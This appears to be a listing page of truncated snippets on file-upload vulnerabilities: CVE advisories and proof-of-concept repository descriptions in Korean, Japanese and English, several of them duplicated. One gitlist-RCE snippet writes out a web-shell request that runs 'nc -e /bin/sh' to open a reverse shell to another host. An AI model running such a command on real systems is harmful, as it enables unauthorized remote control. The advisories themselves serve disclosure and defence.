CVE-2025-63830

📂 CKFinder 1.4.3 – 악성 SVG 업로드를 통한 저장형 크로스 사이트 스크립팅 XSS CVE ID: CVE-2025-63830 🧭 개요 CKFinder v1.4.3 에서 저장형 크로스 사이트 스크립팅XSS 취약점이 발견되었습니다. 문제는 파일 업로드 기능에 있으며, 활성 콘텐츠가 포함된 SVG 파일을 제대로 검증하지 못합니다. 그 결과 공격자는 업로드된 파일을 열람하거나 미리보기할 때 피해자 브라우저의 맥락에서 임의의 JavaScript 코드를 실행할 수 있습니다. ⚙️ 세부 정보 발견명 : 악성 SVG 업로드를 통...

RCE-Simplephpblog-biggiedroid

CVE-2025-15495 - 任意ファイルアップロードによるリモートコード実行（RCE） 製品 BiggiDroid – Simple PHP Blog CMS 製品ページ: https://biggidroid.com/product/simple-php-blog/ 脆弱性タイプ 任意ファイルアップロード 制限なしファイルアップロード リモートコード実行（RCE） 深刻度 致命的 CVSS（推定）: 9.8 AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H 概要 Simple PHP Blog CMS には、管理パネルの...

ClearML-CVE-2024-24590

/ | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe ClearML Pickle 아티팩트 업로드 PoC 이 프로젝트는 명령줄 인수를 통해 구성 가능한 매개변수로 ClearML에 pickle 아티팩트를 동적으로 업로드하는 방법을 보여줍니다. 이 스크립트는...

CVE-2024-1247-PoC

CVE-2024-1247-PoC Post Saint -un -p -ru 면책 조항 이 스크립트는 교육 및 연구 목적으로만 제공됩니다. 소유하지 않았거나 테스트를 위한 명시적 허가를 받지 않은 시스템에 대한 무단 사용은 불법이며 비윤리적입니다...

CVE-2026-101158

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting XSS. Successful exploitation could enable the attacker to hijack another CloudVision user's web session, potentially granting...

CVE-2026-101158 Security Advisory 0185

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting XSS. Successful exploitation could enable the attacker to hijack another CloudVision user's web session, potentially granting...

CVE-2026-101158 Security Advisory 0185

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting XSS. Successful exploitation could enable the attacker to hijack another CloudVision user's web session, potentially granting...

CVE-2026-101158

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting (XSS) . Successful exploitation could enable an attacker to hijack another CloudVision user's web session , potentially resulti...

EUVD-2026-93944

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting XSS. Successful exploitation could enable the attacker to hijack another CloudVision user's web session, potentially granting...

nuclei-template-cve-2025-31324-check

SAP CVE-2025-31324 확인 개요 이 템플릿은 SAP NetWeaver CVE-2025-31324 취약점의 존재 여부를 확인하기 위해 설계되었습니다. 이 취약점은 인증되지 않은 사용자가 /developmentserver/metadatauploader 엔드포인트를 통해 JSP 파일을 업로드할 수 있게 하여 잠재적인 원격 코드 실행으로 이어질 수 있습니다. 실행 방법 사전 요구 사항 Nuclei가 설치되어 있는지 확인하십시오. 템플릿 파일을 sap-netweaver-cve-2025-31324-check.yaml로...

CVE-2026-5364

CVE-2026-5364 CVE-2026-5364는 Contact Form 7용 드래그 앤 드롭 파일 업로드에서 발생하는 CVSS 8.1높음의 인증되지 않은 임의 파일 업로드 취약점입니다. CVE-2026-5364 — CF7 드래그 & 드롭 파일 업로드 RCE sanitizefilename 우회를 통한 인증되지 않은 임의 파일 업로드 CVSS 8.1높음 | 영향: = 1.1.3 | 패치: 1.1.4 📋 개요 필드| 값 ---|--- CVE ID| CVE-2026-5364 플러그인| Contact Form 7용 드래그 앤 드롭 ...

CVE-2021-21972

CVE-2021-21972 VMware vSphere Client 무단 파일 업로드를 통한 원격 코드 실행 RCE vSphere Web ClientHTML5는 본질적으로 vSphere 설치를 관리할 수 있는 관리 인터페이스입니다. vSphere Client는 관리자가 vSphere 서버에 직접 액세스하지 않고도 vSphere의 핵심 기능에 액세스할 수 있게 해줍니다. 관리자는 새 가상 머신을 생성하고 기존 가상 머신 및 해당 리소스를 관리할 수 있습니다. 크로스 플랫폼 웹 애플리케이션으로서 지원되는 다양한 웹 브라우저 버전을 ...

CVE-2026-70376

CVE-2026-70376 — Pluck CMS サイト全体のCSRF → RCE フェイルオープンのRefererチェック + CSRFトークンなし + 二重拡張子アップロード 管理者のページ訪問1回で、コンテンツの削除、ページの注入、Webシェルの配置が行われる 概要 · 要約 · 根本原因 · 攻撃チェーン · エクスプロイト · 対策 · タイムライン 📋 概要 | ---|--- CVE ID| CVE-2026-70376 トラッキングID| PT-2026-68036 製品| pluck-cms/pluck — Pluck CMS（フラットファイルPHP）...

CVE-2026-105868

Payload is a free and open source headless content management system. In versions before 3.90.0 and canary versions before 4.0.0-canary.34, local upload configurations that accept XML files can store an XML file and stylesheet that execute JavaScript in the Payload origin when a logged-in user...

CVE-2026-105861

Payload is a free and open source headless content management system. In versions after 3.0.0 and before 3.90.0, authenticated external URL-based upload retrieval can forward authentication data to a redirected destination that was not verified as trusted, potentially exposing a valid session to ...

magento-upload-auto-submit-zoneh

magento-upload-auto-submit-zoneh CVE-2025-54236 ⚠️ 면책 조항 ⚠️ 중요 경고! 이 도구는 오직 다음을 위해 만들어졌습니다: ✅ 교육 목적 및 보안 연구 ✅ 승인된 침투 테스트 ✅ 소유한 시스템에 대한 보안 평가 ✅ 서면 허가를 받은 취약점 검증 엄격히 금지된 용도: ❌ 명시적 승인 없이 시스템에 접근 ❌ 모든 형태의 불법 활동 ❌ 악의적인 행위 또는 시스템에 피해를 주는 행위 ❌ 컴퓨터 시스템에 대한 무단 접근 ❌ 지역, 주, 연방 법률 위반 저자는 이 도구의 사용으로 인한 오용, 손해...

gitlist-RCE

gitlist-RCE CVE-2014-4511 예시: 셸 업로드가 성공한 후: 접근: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2025-31324-File-Upload

CVE-2025-31324-파일-업로드 Visual Composer의 완전히 인증되지 않은 파일 업로드 엔드포인트를 통해 누구나 임의의 파일예: JSP 웹-쉘을 서버에 업로드할 수 있습니다. SAP NetWeaver Visual Composer의 "Metadata Uploader" 구성 요소에서 인증되지 않은 파일 업로드 취약점CVE-2025-31324을 확인하고 악용하기 위한 개념 증명 도구입니다. 면책 조항: 이 도구는 승인된 보안 테스트 용도로만 사용해야 합니다. 승인되지 않은 시스템 스캔 또는 악용은 불법이며...

CVE-2026-105868

The headless content management system Payload is vulnerable in versions before 3.90.0 and canary versions before 4.0.0-canary.34 . The root cause involves local upload configurations that permit the storage of XML files . An attacker can upload a malicious XML file and stylesheet that execute Ja...

CVE-2026-105868 Payload: Uploaded XML files could execute same-origin JavaScript

Payload is a free and open source headless content management system. In versions before 3.90.0 and canary versions before 4.0.0-canary.34, local upload configurations that accept XML files can store an XML file and stylesheet that execute JavaScript in the Payload origin when a logged-in user...